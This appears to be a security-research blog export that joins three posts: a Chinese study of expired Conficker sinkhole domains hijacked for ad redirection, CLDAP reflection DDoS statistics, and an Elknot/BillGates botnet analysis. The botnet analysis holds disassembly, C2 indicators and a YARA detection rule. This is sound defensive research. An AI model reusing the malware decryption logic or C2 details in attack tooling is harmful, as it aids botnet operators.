在sinkhole的运作方面也有很多值得思考的问题。后续我们会对不同类别的DGA以及非DGA域名被sinkhole的情况做进一步的分析。 参考资料 1. https://en.wikipedia.org/wiki/Conficker ↩︎ 2. https://en.wikipedia.org/wiki/Domain_generation_algorithm ↩︎ 3. https://research.domaintools.com/research/whois-history/search/?q=cwgsh.com#changes ↩︎ 4. https://blog.sucuri.net/2016/07/fake-freedns-used-to-redirect-traffic-to-malicious-sites.html ↩︎

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"根据对conficker域名的跟踪，我们发现conficker的域名存在明显的滥用。主要表现为浏览器访问conficker域名后，会跳转到广告页面（既有正常业务，也有赌博/色情等灰色业务），有时候还会存在一些垃圾软件（比如虚假的杀毒软件）的推广等。\n\n由于conficker的DGA域名的巨大数量，我们希望了解产生这种状况的原因以及其现在的规模。\n\n##Conficker域名现状及被滥用状况\n\n###Conficker简介\nConficker是出现于2008年11月，曾感染了数百万台电脑。Conficker有一个独特的特性是它使用了DGA技术。利用随机生成的域名来防止网络设备的封堵。自此以后DGA技术也开始逐渐流行起来。关于conficker和DGA的细节，请参考[^1] [^2]。\n\n###校验数据集及passvieDNS中的命中情况\n\n我们选取了2010-01-01到2016-09-15这段时间内，由conficker.a 和conficker.b生成的全部的DGA域名作为数据全集，共1225000条域名。\n\n检查这些域名在passiveDNS中的命中情况。排除NXDOMAIN之外，总共命中了216352条。约占总数的17.67%。实际情况中，还有大量的conficker域名返回的是NXDOMAIN，因为并不是所有的conficker域名都被sinkhole。\n\n在这些命中的域名中，按照sinkhole的NS服务器的名字进行区分，每种NS服务器的sinkhole的域名数量分布如下：\n<table>\n<tr>\n<th>Count</th>\n<th>Type</th>\n<th>NS Server</th>\n</tr>\n\n<tr>\n<td>1892</td>\n<td>parkingdomains</td>\n<td>N/A</td>\n</tr>\n\n<tr>\n<td>23915</td>\n<td>cndomains</td>\n<td>ns.conficker-sinkhole.cn</td>\n</tr>\n\n<tr>\n<td>98182</td>\n<td>com_net_org_domains</td>\n<td>ns.conficker-sinkhole.com/net/org</td>\n</tr>\n\n<tr>\n<td>15091</td>\n<td>opendns_domains</td>\n<td>146.112.61.105</td>\n</tr>\n\n<tr>\n<td>40151</td>\n<td>cwgsh_domains</td>\n<td>ns.cwgsh.com/net/org</td>\n</tr>\n\n<tr>\n<td>19731</td>\n<td>0xc0f1c3a5_domains</td>\n<td>ns.0xc0f1c3a5.com/org</td>\n</tr>\n\n<tr>\n<td>17390</td>\n<td>unclassifed_domain</td>\n<td>N/A</td>\n</tr>\n</table>\n\n *图1 不同sinkhole所解析的conficker域名分布数量*\n\n上图列出针对conficker的DGA域名的主要sinkhole占比情况，还有一些很小的sinkhole没有列出来。包括honeybot.us, sinkhole.ru等。由于它们对应的域名的数量很少，不再单独进行分类，统一合并到unclassified类型中。\n\n在unclassified的数据中，除了少量的sinkhole域名以及同样少量的NXDOMAIN被篡改为有效的IP（原因主要是各种ISP的不规范行为）之外，剩余的部分主要是与conficker域名冲突的正常业务的域名。\n\n处于parking/reselling状态的域名则是其NS服务器为parking的NS服务器。\n在我们的数据中，ns.conficker-sinkhole.cn与ns.conficker-sinkhole.com/net/org占的数量巨大，占到总份额的56%。是预防conficker扩散的主力军。\n\nns.cwgsh.com/net/org与ns.0xc0f1c3a5.com/org是由Microsoft及其关联方针对conficker DGA域名的sinkhole。它们的占比也达到了28%。\n\nOpenDNS和传统的sinkhole手段不同，它针对conficker的域名请求，在OpenDNS的resolver上设置了这些域名的黑名单，如果resolver发现请求的域名位列黑名单中，则返回一个提示性页面，这也是使用DNS提供安全服务的一种常见的手段。这个数量如上图所示，大概在7%左右。\n\n###哪些数据被滥用？\n在上面列出的各个种类中，由ns.cwgsh.com/net/org解析的conficker DGA域名是被滥用的主体。\n\n如上一节所提，通过查询WHOIS发现，ns.cwgsh.com/net/org与ns.0xc0f1c3a5.com/org所sinkhole的域名的注册邮箱都是[email protected]。但是注册人分别为“Conficker Cabal/ Microsoft”与” Conficker Holding Account/ Afilias”。另外cwgsh服务的域名注册时间在2009年，0xc0f1c3a5服务的域名注册时间在2011年。它们所解析的域名分别在2010年与2011年有效。另外它们只解析TLD为**org，info**为后缀的conficker域名。\n\n尽管使用的是同一个注册邮箱，但是由于使用的NS服务器不同。它们解析的域名在被滥用方面却并不相同。其实0xc0f1c3a5.org/net/com也存在相应的问题。0xc0f1c3a5.org/net/com当中只有org域名是有效的，com/net两个域名无效。但是由于org域名一直保持更新（AUTORENEWPERIOD），因此它是一个有效的域名，所以它解析的域名解析是正常的。\n\n滥用部分主要集中在NS服务器为ns.cwgsh.com/net/org的conficker域名上。这三个域名是由shandowserver注册的，在注册一年之后（2011-03-04），由于没有续费，NS服务器被切换到NS1/2.RENEWYOURNAME.NET。在此之后，这个域名就处在parking/reselling状态，在不同的注册商之间颠沛流离[^3]。它们负责解析的conficker域名也就无法继续被正常的解析和使用。\n\n###滥用域名的数量\n从conficker域名的生效日期来看，每天的数据量相差不大，只有2010年10月份的数据要稍高一点。如图1所示，滥用规模占整个conficker.a conficker.b的有效记录总数的近20% 。\n *图2 滥用的conficker域名的有效日期分布*\n\n从每个conficker域名的DNS请求量来看，这个数量并不大。访问数量在43以下的，已经占到所有的数据的98.5%。50以下的占到99%。整体来看，访问量比较偏少。\n *图3 滥用的conficker域名的访问量分布*\n\n从访问来源来看，从2014年10月份开始到2016年8月23日，我们总共看到了5300+个独立的访问源。\n从地理位置上来看，主要分布在国内。有少量的欧洲和南美的访问。\n *图4 滥用的conficker访问源的地理分布*\n\n从访问时间来看，最早的数据访问记录在2014年的10月（真实情况可能比这个时间更早）。大规模的访问是从2015年8月中旬开始的。从那时起每日访问的域名平均在1000个左右。访问的日期分布如下：\n *图5 滥用的conficker访问日期分布*\n\n###访问的原因\n\n由于被访的Conficker域名生效时间在2010年。在时隔5~6年之后的今天，理论上是不会有conficker的受害用户对这种域名再进行访问的。是什么原因导致产生这种访问呢？\n根据我们对DNS请求来源的调查发现，现在每天至少有50~70个独立的用户会发起这些过期域名的请求。并且在这些用户当中，大约有65%~80%的用户即会访问新的（比如2016年当天生成的）conficker域名，同时也会访问2010年老的conficker域名。也就是说大多数的conficker受害用户是产生这种访问的主要原因。至于为什么会有这种怪异的请求出现，现在尚不清楚。另外还有20%~30%的用户则只请求2010年的conficker域名，这部分访问量的产生也需要进一步分析。\n\n##域名接管及后续数据流\n现在我们来了解一下这些conficker域名是如何从sinkhole状态转到给垃圾广告导流的。\n###域名的接管\n从DNS角度来看，要接管一个域名，接管它的NS服务器就可以了。这些conficker域名就是这样转变的。\n\n由于conficker的DGA域名的最初的NS服务器NS.CWGSH.COM/NET/ORG这三个域名在2011年2月28日到期之后，没有再进行续费。导致这三个域名就进入了注册商的reselling/parking列表。而使用这些NS服务器的DGA域名（后缀为info/org）的解析状态进入不确定的状态。\n\n就目前（2016.08.30）来看，cwgsh.com是比较“纯粹”的处在saling状态的域名。尽管这个页面上也会放置一些广告。\ncwgsh.org现在则是一个XX网站，也比较纯粹。\nns.cwgsh.net是引起conficker转变的根源。它现在作为ns服务器，针对任何请求（合法或者非法的域名），均会返回固定的四条记录（以360.com和一个非法的域名作为例子）。\n *图6 ns.cwgsh.net针对任意请求均返回相同的应答结果*\n\n不过奇怪的是conficker域名的whois状态貌似在一直更新。并且和2010年主要注册信息（Name,email,organization,address, NS server）比对来看，均没有发生太大的变化。看起来域名所有者一直在保持更新。\n\n###数据流\n是时候来看一下从这些老的conficker域名开始的web数据流向了（针对有些session做了删减，但并不影响整个业务流程）。\n *图7 conficker的web流程*\n\n1.\tlixfley.info是20100408的conficker.a的域名，针对lixfley.info的请求会解析到86.107.110.247（Romania/RO\t\"AS8708 RCS & RDS\"）。\n2.\t之后是一个http 302的跳转，跳转到youforgottorenewyourhosting.com。从这个域名的词法来看，它是一个专门用来做过期域名跳转生意的。它对应的IP地址为192.232.208.138（United States/US Houston\t\"AS46606 Unified Layer\"）。\n3.\t针对第二条的应答，仍然是一个302跳转，跳转目标为初始域名加一个tclub的前缀。它的应答除了包含常规的流量统计之外（第5条会话的请求），还包含了针对第8条会话的请求，这是它真正下一步的目的地。\n4.\t在第8条会话中，我们可以看到在它的URL中包含了ww9开头的后接初始请求域名的形式。在sucuri的一篇blog[^4]中提到了ww2后接初始请求的域名形式。事实上这种请求域名形式完全依赖于第三条会话的返回内容。类似的形式包括”in/ww2/ww9/blog”等前缀形式。具体每种形式的前缀的含义现在还不清楚，猜测可能是标识不同的广告系统，另外这个前缀形式也需要体现在DNS的配置当中，具体参见上一节的DNS解析记录。\n5.\t在从第12条之后的会话过程便是ADnetwork的过程了。整个过程非常复杂，不停地在不同的页面之间进行跳转。上图隐藏的31~88会话均是这个过程。\n6.\t第80条是整个跳转链的结尾。上图的会话展示的是一个游戏站点。事实上跳转链结尾的站点（也就是广告主）的类型多种多样，既包含正规站点，也包含处于灰色地带的色情站点/虚假杀毒软件等站点。\n\n###基础设施\n在针对conficker的DGA域名的滥用过程中，针对第一步跳转IP及这些域名的NS服务器。我们分别对其NS server和IP进行总结：\n\nNS server:\nns[1-4].888dns.net\nns[1-3].dnskarma.com\n\nIP: \n195.22.126.212\n195.22.126.213 \n166.78.101.108\n213.184.126.162\n213.184.126.163\n50.57.203.17\n5.79.74.75\n64.71.74.227\n77.247.178.109\n86.107.110.247\n91.92.110.2\n\n#结论\n这是一起典型的由于NS服务器运营不当，在过期之后被他人接手导致原先这个NS服务器所服务的域名统统被接管的案例。只不过这个NS服务器所解析的域名是conficker的DGA域名，所以它尤显重要，所造成的问题也更显突出。\n\n现在的parking/reselling状态的域名也存在诸多的乱象，很多恶意软件的分发中都存在这部分域名的影子。针对它们的分析也是我们后续工作的重点。\n\n在sinkhole的运作方面也有很多值得思考的问题。后续我们会对不同类别的DGA以及非DGA域名被sinkhole的情况做进一步的分析。\n\n#参考资料\n[^1]: https://en.wikipedia.org/wiki/Conficker\n[^2]: https://en.wikipedia.org/wiki/Domain\\_generation_algorithm\n[^3]: https://research.domaintools.com/research/whois-history/search/?q=cwgsh.com#changes\n[^4]: https://blog.sucuri.net/2016/07/fake-freedns-used-to-redirect-traffic-to-malicious-sites.html\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

8

post

2016-09-02T03:50:47.000Z

63873b9a8b1c1e0007f52ee5

cldap-is-now-the-3rd-reflection-amplified-ddos-attack-vector-surpassing-ssdp-and-chargen-en

2021-05-08T05:10:18.000Z

public

published

2017-11-01T10:14:35.000Z

CLDAP is Now the No.3 Reflection Amplified DDoS Attack Vector, Surpassing SSDP and CharGen

<!--kg-card-begin: markdown--><p>Author: Xu Yang，kenshin</p> <p>With our <a href="https://ddosmon.net/">DDoSMon</a>, we are able to perform continuous and near real-time monitoring on global DDoS attacks. For quite a long time, DNS, NTP, CharGen and SSDP have been the most frequently abused services in DDoS reflection amplification attacks. They rank respectively 1st, 2nd, 3rd and 4th in the last 365 days.</p> <p>Recently, we noticed that CLDAP-based reflection amplification attacks (hereinafter referred to as CLDAP attack) have surpassed SSDP and CharGEN as the third biggest reflective DDoS attack vector. The figures below display the percentage of CLDAP attacks in the last 365 and 90 days among all reflective amplification DDoS attacks:</p> <p><img src="__GHOST_URL__/content/images/2017/11/CLDAP_share_comparation_365day_90day.png" alt="" loading="lazy"></p> <p>(Source: <a href="https://ddosmon.net">DDoSMon</a>. The <a href="https://ddosmon.net/insight">Insight</a> web page on this site covers most of the data in this blog.)</p> <p>CLDAP attack first appeared in the end of October last year, just a year ago. In this blog, we look at the rise of the CLDAP attack:</p> <ul> <li>Over the last 365 days, we have observed a total of 304,146 CLDAP reflection amplification attacks involving 215,229 unique IPs.</li> <li>In the last three months, CLDAP attack has entered into a new stage, the number of CLDAP attacks in the last three months has reached to 168k (11.2%), slightly more than CharGen attack(164k, 11%), and much more than SSDP attack (70k, 4.4%).</li> </ul> <p>Our <a href="http://data.netlab.360.com/drdos-reflector/">DRDoS data feed</a> at our <a href="http://data.netlab.360.com/">OpenData page</a> maintain a list of top reflector IPs being used in the last 30 days, security researchers can contact <a href="emailto:[email protected]">[email protected]</a> to apply for free feed download.</p> <h3 id="stagesofattackevolution">Stages of Attack Evolution</h3> <p><img src="__GHOST_URL__/content/images/2017/11/cldap_trend_last_year-2.png" alt="" loading="lazy"></p> <p>The above figure shows last years’ weekly counts of CLDAP reflection attack.</p> <p>We can divide CLDAP attack activity into three stages:</p> <ul> <li>Initial stage: 2016-10 ~ 2017-04, about 1000 attacks per week on average</li> <li>The first climbing stage: 2017-04 ~ 2017-08, about 6000 attacks per week on average</li> <li>The second climbing stage: 2017-08 ~ now, about 15000 attacks per week on average</li> </ul> <p>From the above statistics, you can see that CLDAP has become one of the workhorses in DDoS attack.</p> <p>We also extracted all the LDAP reflector IPs that had been used in ddos attacks, did a month to month comparison, and generated the following diagram.<br> From the diagram, you can tell that the overlap rate of CLDAP ips has been going up and getting stable at around 40%.</p> <p><img src="__GHOST_URL__/content/images/2017/11/reflector_comparation_by_month.png" alt="" loading="lazy"></p> <h3 id="attackvectors">Attack Vectors</h3> <p>In all attacks involving CLDAP, over 84% are CLDAP only, with no other combined attacking vector. There are also some other combinations, which be seen as below.</p> <p><img src="__GHOST_URL__/content/images/2017/11/attack_vector_distribution.png" alt="" loading="lazy"></p> <h3 id="attackingduration">Attacking Duration</h3> <p>The duration of CLDAP attack varies: the shortest attack was less than 1 minute, and the longest one lasted more than 3 days. As shown in the figure below, the attack time span at 1, 2 and 3 standard deviations (68%, 95%, 99.7%) are respectively 30 minutes, 10 hours and 24 hours.</p> <p><img src="__GHOST_URL__/content/images/2017/11/attack_duration_distribution.png" alt="" loading="lazy"></p> <p>The 3-days attack mentioned above occurred from 2017-09-24 15:00:00 to 2017-09-28 09:00:00. The victim IP address, 151.<em><strong>.</strong></em>.15 belongs to a CDN service provider.</p> <p><img src="__GHOST_URL__/content/images/2017/11/a_3_days_CLDAP_attack.png" alt="" loading="lazy"></p> <h3 id="destinationports">Destination Ports</h3> <p>The distribution of the victim's destination port is shown in the following table:</p> <ul> <li>In most cases(96.5%) of CLDAP attack, the destination ports are randomized. This is consistent with other reflection amplified DDoS attacks.</li> <li>Note port 26383 stands out, which is not a commonly used service port, we suspect a particular CLDAP attack toolkit gets reused all the time by different attackers, or maybe there is big CLDAP attack provider somewhere.</li> </ul> <p><img src="__GHOST_URL__/content/images/2017/11/dst_port_distribution.png" alt="" loading="lazy"></p> <!--kg-card-end: markdown-->

Author: Xu Yang，kenshin With our DDoSMon, we are able to perform continuous and near real-time monitoring on global DDoS attacks. For quite a long time, DNS, NTP, CharGen and SSDP have been the most frequently abused services in DDoS reflection amplification attacks. They rank respectively 1st, 2nd, 3rd and 4th in the last 365 days. Recently, we noticed that CLDAP-based reflection amplification attacks (hereinafter referred to as CLDAP attack) have surpassed SSDP and CharGEN as the third biggest reflective DDoS attack vector. The figures below display the percentage of CLDAP attacks in the last 365 and 90 days among all reflective amplification DDoS attacks: (Source: DDoSMon. The Insight web page on this site covers most of the data in this blog.) CLDAP attack first appeared in the end of October last year, just a year ago. In this blog, we look at the rise of the CLDAP attack: * Over the last 365 days, we have observed a total of 304,146 CLDAP reflection amplification attacks involving 215,229 unique IPs. * In the last three months, CLDAP attack has entered into a new stage, the number of CLDAP attacks in the last three months has reached to 168k (11.2%), slightly more than CharGen attack(164k, 11%), and much more than SSDP attack (70k, 4.4%). Our DRDoS data feed at our OpenData page maintain a list of top reflector IPs being used in the last 30 days, security researchers can contact [email protected] to apply for free feed download. Stages of Attack Evolution The above figure shows last years’ weekly counts of CLDAP reflection attack. We can divide CLDAP attack activity into three stages: * Initial stage: 2016-10 ~ 2017-04, about 1000 attacks per week on average * The first climbing stage: 2017-04 ~ 2017-08, about 6000 attacks per week on average * The second climbing stage: 2017-08 ~ now, about 15000 attacks per week on average From the above statistics, you can see that CLDAP has become one of the workhorses in DDoS attack. We also extracted all the LDAP reflector IPs that had been used in ddos attacks, did a month to month comparison, and generated the following diagram. From the diagram, you can tell that the overlap rate of CLDAP ips has been going up and getting stable at around 40%. Attack Vectors In all attacks involving CLDAP, over 84% are CLDAP only, with no other combined attacking vector. There are also some other combinations, which be seen as below. Attacking Duration The duration of CLDAP attack varies: the shortest attack was less than 1 minute, and the longest one lasted more than 3 days. As shown in the figure below, the attack time span at 1, 2 and 3 standard deviations (68%, 95%, 99.7%) are respectively 30 minutes, 10 hours and 24 hours. The 3-days attack mentioned above occurred from 2017-09-24 15:00:00 to 2017-09-28 09:00:00. The victim IP address, 151...15 belongs to a CDN service provider. Destination Ports The distribution of the victim's destination port is shown in the following table: * In most cases(96.5%) of CLDAP attack, the destination ports are randomized. This is consistent with other reflection amplified DDoS attacks. * Note port 26383 stands out, which is not a commonly used service port, we suspect a particular CLDAP attack toolkit gets reused all the time by different attackers, or maybe there is big CLDAP attack provider somewhere.

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"Author: Xu Yang，kenshin\n\n\nWith our [DDoSMon](https://ddosmon.net/), we are able to perform continuous and near real-time monitoring on global DDoS attacks. For quite a long time, DNS, NTP, CharGen and SSDP have been the most frequently abused services in DDoS reflection amplification attacks. They rank respectively 1st, 2nd, 3rd and 4th in the last 365 days.\n\nRecently, we noticed that CLDAP-based reflection amplification attacks (hereinafter referred to as CLDAP attack) have surpassed SSDP and CharGEN as the third biggest reflective DDoS attack vector. The figures below display the percentage of CLDAP attacks in the last 365 and 90 days among all reflective amplification DDoS attacks:\n\n\n\n(Source: [DDoSMon](https://ddosmon.net). The [Insight](https://ddosmon.net/insight) web page on this site covers most of the data in this blog.)\n\nCLDAP attack first appeared in the end of October last year, just a year ago. In this blog, we look at the rise of the CLDAP attack:\n\n* Over the last 365 days, we have observed a total of 304,146 CLDAP reflection amplification attacks involving 215,229 unique IPs.\n* In the last three months, CLDAP attack has entered into a new stage, the number of CLDAP attacks in the last three months has reached to 168k (11.2%), slightly more than CharGen attack(164k, 11%), and much more than SSDP attack (70k, 4.4%).\n\n\nOur [DRDoS data feed](http://data.netlab.360.com/drdos-reflector/) at our [OpenData page](http://data.netlab.360.com/) maintain a list of top reflector IPs being used in the last 30 days, security researchers can contact [[email protected]](emailto:[email protected]) to apply for free feed download.\n\n###Stages of Attack Evolution\n\n\n\nThe above figure shows last years’ weekly counts of CLDAP reflection attack.\n\nWe can divide CLDAP attack activity into three stages:\n\n\n* Initial stage: 2016-10 ~ 2017-04, about 1000 attacks per week on average\n* The first climbing stage: 2017-04 ~ 2017-08, about 6000 attacks per week on average\n* The second climbing stage: 2017-08 ~ now, about 15000 attacks per week on average\n\nFrom the above statistics, you can see that CLDAP has become one of the workhorses in DDoS attack.\n\nWe also extracted all the LDAP reflector IPs that had been used in ddos attacks, did a month to month comparison, and generated the following diagram.\nFrom the diagram, you can tell that the overlap rate of CLDAP ips has been going up and getting stable at around 40%.\n\n\n\n\n\n###Attack Vectors\n \nIn all attacks involving CLDAP, over 84% are CLDAP only, with no other combined attacking vector. There are also some other combinations, which be seen as below.\n\n\n\n###Attacking Duration\n\nThe duration of CLDAP attack varies: the shortest attack was less than 1 minute, and the longest one lasted more than 3 days. As shown in the figure below, the attack time span at 1, 2 and 3 standard deviations (68%, 95%, 99.7%) are respectively 30 minutes, 10 hours and 24 hours.\n\n\n\nThe 3-days attack mentioned above occurred from 2017-09-24 15:00:00 to 2017-09-28 09:00:00. The victim IP address, 151.***.***.15 belongs to a CDN service provider.\n\n\n\n\n###Destination Ports\nThe distribution of the victim's destination port is shown in the following table:\n\n* In most cases(96.5%) of CLDAP attack, the destination ports are randomized. This is consistent with other reflection amplified DDoS attacks.\n* Note port 26383 stands out, which is not a commonly used service port, we suspect a particular CLDAP attack toolkit gets reused all the time by different attackers, or maybe there is big CLDAP attack provider somewhere.\n\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

12

post

2016-09-02T06:44:58.000Z

63873b9a8b1c1e0007f52ee6

new-elknot-billgates-variant-with-xor-like-c2-configuration-encryption-scheme

2018-10-06T08:53:33.000Z

public

published

2016-09-02T07:46:45.000Z

New Elknot/Billgates Variant with XOR like C2 Configuration Encryption Scheme

<!--kg-card-begin: markdown--><h1 id="overview">Overview</h1> <p>Elknot is a notorious DDoS botnet family which runs on both Linux and Windows platforms <a href="https://www.botconf.eu/wp-content/uploads/2014/12/2014-2.10-Chinese-Chicken-Multiplatform-DDoS-Botnets.pdf">[1]</a> <a href="http://blog.malwaremustdie.org/2014/11/china-elf-botnet-malware-infection.html">[2]</a> <a href="https://thisissecurity.net/2015/09/30/when-elf-BillGates-met-windows/">[3]</a> <a href="http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf">[4]</a>. Multiple variants have been found since its first appearance, while the most infamous variant is called BillGates by many researchers because of its characteristic use of Bill and Gates modules <a href="http://www.kernelmode.info/forum/viewtopic.php?f=16&amp;t=3099">[5]</a>. Besides that this variant is also highlighted in using the school-book style of RSA encryption to hide its C2 configurations including server, port, campaign name, etc. The plain configuration is made up of one or more C2 lines, with each line having the format of &quot;<em>&lt; C2 ip or domain &gt;:&lt; C2 port &gt;:&lt; Is Listener ?&gt;: &lt; IsService ?&gt;: &lt; Campaign Name &gt;:&lt; Enable Backdoor ?&gt;</em> &quot;<a href="https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf">[6]</a>.</p> <p>In September 2015, we found a new elknot/BillGates variant which uses a new C2 encryption scheme while keeps the old DDoS attack functions and C&amp;C protocols.</p> <p>This article will discuss the new elknot/BillGates variant with a focus on the updates from the previous one. The analysis work is mainly based on the following 2 samples:</p> <ul> <li>md5: 2579aa65a28c32778790ec1c673abc49, type: ELF32:Intel80386:UNIX-SystemV.</li> <li>md5: 474429d9da170e733213940acc9a2b1c, type: ftype=ELF32:Intel80386:UNIX-SystemV.</li> </ul> <h1 id="newencryptionscheme">New Encryption Scheme</h1> <p>In the previous version of Elknot/BillGates samples RSA cipher text and parameters are stored in hex format string, which can be easily extracted with Linux utility like <em>strings</em>. To get the further plain C2 information what you need to do is just inputting the extracted cipher text to a RSA decryption tool which can be easily obtained on Internet. Since it’s not this article’s emphasis so we skip it. We have developed such a C2 extraction solution which works well on all collected BillGates samples.</p> <p><img src="__GHOST_URL__/content/images/2016/09/Fig_1.png" alt="" loading="lazy"><br> <em>Figure 1, RSA cipher text and parameters in sample</em></p> <p>From September 2015, however, we began to notice that there were more and more elknot/BillGates samples from which valid C2 configurations could be extracted but the extracted C2 servers could never be successfully contacted. The most frequently extracted C2 servers were fk.appledoesnt.com and 115.231.218.64. The C2 port for fk.appledoesnt.com was always 3000, while both 8226 and 13864 were often together used for 115.231.218.64. As the abnormal cases began to accumulate, we felt obliged to have an investigation. After running the questionable samples in sandboxes, we got surprised by the fact that the really contacted C2 servers were neither fk.appledoesnt.com nor 115.231.218.64. We had to re-check our C2 extraction program but found no problems, which made us to infer that new variant might have appeared.</p> <p>Our inference was soon confirmed after some Bindiff and dynamic tracing work was done. A new Elknot/BillGates variant did emerge. The fake C2 servers, aka fk.appledoesnt.com and 115.231.218.64, will be replaced by the true C2’s hidden by the new encryption scheme after sample runs. This explained why they could not be successfully contacted.</p> <p>Further analysis shows that the new encryption scheme composes of 2 functions, which are renamed as DecryptC2Cfg and Decrypt. The entry function (aka DecryptC2Cfg) is called by CSysTool::Ikdfu94, which is responsible for decrypting the C2 configuration in old version. The following figure shows the difference between new version (the left code snippet, md5=2579aa65a28c32778790ec1c673abc49) and the old one (the right code snippet, md5=8285f35183f0341b8dfe425b7348411d) in function CSysTool::Ikdfu94.</p> <p><img src="__GHOST_URL__/content/images/2016/09/Fig_2.png" alt="" loading="lazy"><br> <em>Figure 2, differences of CSysTool::Ikdfu94 functions</em></p> <p>The entry function, as shown in Figure 3, does the following things:<br> 1, locating the cipher text.<br> 2, calling the Decrypt function to decrypt plain C2 information.<br> 3, jumping to CUtility::Split to split the plain C2 information by splitter of “:”.</p> <p>It is interesting that DecryptC2Cfg will not directly return to the calling place but jump to CUtility::Split, which indicates that the decryption code is inserted by some 3rd builder after the sample is compiled. If you look at the old version code, as shown in the right snippet of Figure 2, CUtility::Split is function that should be called at 0x8077AB4. The jump to CUtility::Split exactly accomplishes the object of replacing the fake C2 information decrypted by RSA while not interrupting the original execution flow. Other evidences for the above speculation are as follows:<br> 1, the common shellcode technique of “call $+5” is used in DecryptC2Cfg for address locating.<br> 2, the 2 decryption functions were both stripped, while it’s not true for all the other functions.</p> <p><img src="__GHOST_URL__/content/images/2016/09/Fig_3.png" alt="" loading="lazy"><br> <em>Figure 3, new encryption scheme’s entry function</em></p> <p>The Decrypt function is illustrated in Figure 4. It has a fixed cipher text (0x40 here). The core operation is getting each plain byte by XORing current byte with its next neighboring one.</p> <p><img src="__GHOST_URL__/content/images/2016/09/Fig_4.png" alt="" loading="lazy"><br> *Figure 4, CFG of Decrypt() function *</p> <p>There exists another version of DecryptC2Cfg as that found in sample md5=474429d9da170e733213940acc9a2b1c. The difference is that the addresses of cipher text and flag are hardcoded.</p> <p><img src="__GHOST_URL__/content/images/2016/09/fig_5.png" alt="" loading="lazy"><br> *Figure 5, Another version of DecryptC2Cfg() function *</p> <p>As for the Decrypt function, the same control flow graph was seen shared among all found samples.</p> <p>When analyzing the new version of samples we found that the decryption functions, aka DecrytpC2Cfg and Decrypt, are usually not inside any valid sections. The following is the code snippet found in the sample with MD5 of 474429d9da170e733213940acc9a2b1c. The code is responsible for calling the called DecryptC2Cfg with address of 0x8130800.</p> <p><img src="__GHOST_URL__/content/images/2016/09/fig_6.png" alt="" loading="lazy"><br> <em>Figure 6, The DecryptC2Cfg() function not inside valid sections</em></p> <p>It’s easy to observe the sample sections with Linux utility <em>readelf</em>. The following is the output of “readelf –S” for sample md5=474429d9da170e733213940acc9a2b1c. It’s obvious that the address of 0x813080 is not inside any valid sections, which provides another evidence that the decryption code is inserted by some 3rd builder.</p> <p><img src="__GHOST_URL__/content/images/2016/09/fig_7.png" alt="" loading="lazy"><br> <em>Figure 7, the address of DecryptC2Cfg outside of valid sections</em></p> <h1 id="yararule">YARA Rule</h1> <p>We have written a YARA rule according to the 2 cases of DecryptC2Cfg functions as follows.</p> <pre><code>rule elknot_xor : ELF PE DDoS XOR BillGates { meta: author = &quot;[email protected]&quot; description = &quot;elknot/Billgates variants with XOR like C2 encryption scheme&quot; date = &quot;2015-09-12&quot; strings: //md5=474429d9da170e733213940acc9a2b1c /* seg000:08130801 68 00 09 13 08 push offset dword_8130900 seg000:08130806 83 3D 30 17 13 08 02 cmp ds:dword_8131730, 2 seg000:0813080D 75 07 jnz short loc_8130816 seg000:0813080F 81 04 24 00 01 00 00 add dword ptr [esp], 100h seg000:08130816 loc_8130816: seg000:08130816 50 push eax seg000:08130817 E8 15 00 00 00 call sub_8130831 seg000:0813081C E9 C8 F6 F5 FF jmp near ptr 808FEE9h */ $decrypt_c2_func_1 = {08 83 [5] 02 75 07 81 04 24 00 01 00 00 50 e8 [4] e9} // md5=2579aa65a28c32778790ec1c673abc49 /* .rodata:08104D20 E8 00 00 00 00 call $+5 .rodata:08104D25 87 1C 24 xchg ebx, [esp+4+var_4] ; .rodata:08104D28 83 EB 05 sub ebx, 5 .rodata:08104D2B 8D 83 00 FD FF FF lea eax, [ebx-300h] .rodata:08104D31 83 BB 10 CA 02 00 02 cmp dword ptr [ebx+2CA10h], 2 .rodata:08104D38 75 05 jnz short loc_8104D3F .rodata:08104D3A 05 00 01 00 00 add eax, 100h .rodata:08104D3F loc_8104D3F: .rodata:08104D3F 50 push eax .rodata:08104D40 FF 74 24 10 push [esp+8+strsVector] */ $decrypt_c2_func_2 = {e8 00 00 00 00 87 [2] 83 eb 05 8d 83 [4] 83 bb [4] 02 75 05} condition: 1 of ($decrypt_c2_func_*) } </code></pre> <p><em>Figure 8, YARA rule to detect the mentioned variant</em></p> <h1 id="statistics">Statistics</h1> <p>After mining the sample database, we found that the first sample of this variant had appeared as early as April 2015. Currently there are about 750 of such samples were collected, with nearly 700 unique C2 servers extracted. We will keep on watching the growth of this notorious DDoS family in the future.</p> <h1 id="relatedwork">Related work</h1> <p>[1] <a href="https://www.botconf.eu/wp-content/uploads/2014/12/2014-2.10-Chinese-Chicken-Multiplatform-DDoS-Botnets.pdf">https://www.botconf.eu/wp-content/uploads/2014/12/2014-2.10-Chinese-Chicken-Multiplatform-DDoS-Botnets.pdf</a></p> <p>[2] <a href="http://blog.malwaremustdie.org/2014/11/china-elf-botnet-malware-infection.html">http://blog.malwaremustdie.org/2014/11/china-elf-botnet-malware-infection.html</a></p> <p>[3] When ELF.BillGates met Windows, <a href="https://thisissecurity.net/2015/09/30/when-elf-BillGates-met-windows/">https://thisissecurity.net/2015/09/30/when-elf-BillGates-met-windows/</a></p> <p>[4] <a href="http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf">http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf</a></p> <p>[5] <a href="http://www.kernelmode.info/forum/viewtopic.php?f=16&amp;t=3099">http://www.kernelmode.info/forum/viewtopic.php?f=16&amp;t=3099</a></p> <p>[6] <a href="https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf">https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf</a></p> <!--kg-card-end: markdown-->

